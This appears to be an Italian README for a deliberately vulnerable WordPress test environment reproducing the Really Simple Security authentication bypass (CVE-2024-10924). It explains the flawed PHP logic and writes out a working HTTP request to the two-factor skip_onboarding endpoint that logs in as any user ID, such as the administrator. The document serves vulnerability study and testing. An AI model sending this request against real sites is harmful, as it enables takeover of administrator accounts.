
AVVERTENZA: Questa è un'applicazione vulnerabile per testare l'exploit per il bypass di autenticazione di Really Simple Security < 9.1.2 (CVE-2024-10924). Eseguila a tuo rischio e pericolo!
Questa è un'applicazione vulnerabile per testare l'exploit del bypass di autenticazione di Really Simple Security < 9.1.2 (CVE-2024-10924).
Questa applicazione contiene gravi vulnerabilità di sicurezza. Eseguila a tuo rischio! Si consiglia di utilizzare un ambiente protetto e con backup (ad esempio una VM con uno snapshot recente e rete solo host). Non caricare questa applicazione su server esposti a Internet, poiché verranno compromessi.
DICHIARAZIONE DI NON RESPONSABILITÀ: Non mi assumo alcuna responsabilità per l'uso che qualcuno fa di questa applicazione. L'unico scopo di questa applicazione è essere uno scenario di test per l'exploit del bypass di autenticazione di Really Simple Security < 9.1.2 (CVE-2024-10924) e non deve essere utilizzata in modo malevolo. Se il tuo server viene compromesso tramite un'installazione di questa applicazione, non è responsabilità mia, ma delle persone che l'hanno caricata e installata.
Ecco i passaggi per configurare l'ambiente:
./up.sh per avviare la composizione.Il contenitore si chiamerà vuln-wp-really-simple-security.
Per smantellare l'ambiente usa il comando ./down.sh o ./down_and_delete.sh per rimuovere anche le immagini e il volume del database.
Dando un'occhiata alla fix, è possibile capire che nella versione vulnerabile veniva restituito un oggetto errore, in caso di nonce di login non valido, dalla funzione check_login_and_get_user(), senza interrompere l'intera operazione.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
Nel chiamante, tuttavia, non veniva effettuato alcun controllo sull'output della funzione check_login_and_get_user() (linea 277), ma si procedeva semplicemente con la funzione authenticate_and_redirect() (linea 278) utilizzando lo stesso valore ricevuto in input per l'ID utente.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Per sfruttare la vulnerabilità, è sufficiente una richiesta come la seguente.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Impostando poi di conseguenza i cookie di sessione restituiti nel browser.
Il user_id deve essere l'ID dell'utente target, il login_nonce può essere qualsiasi cosa poiché un valore errato non bloccherà il processo.
Uno script exploit in Python è disponibile qui.
Questo progetto è concesso in licenza con Unlicense - vedi il file LICENSE per i dettagli.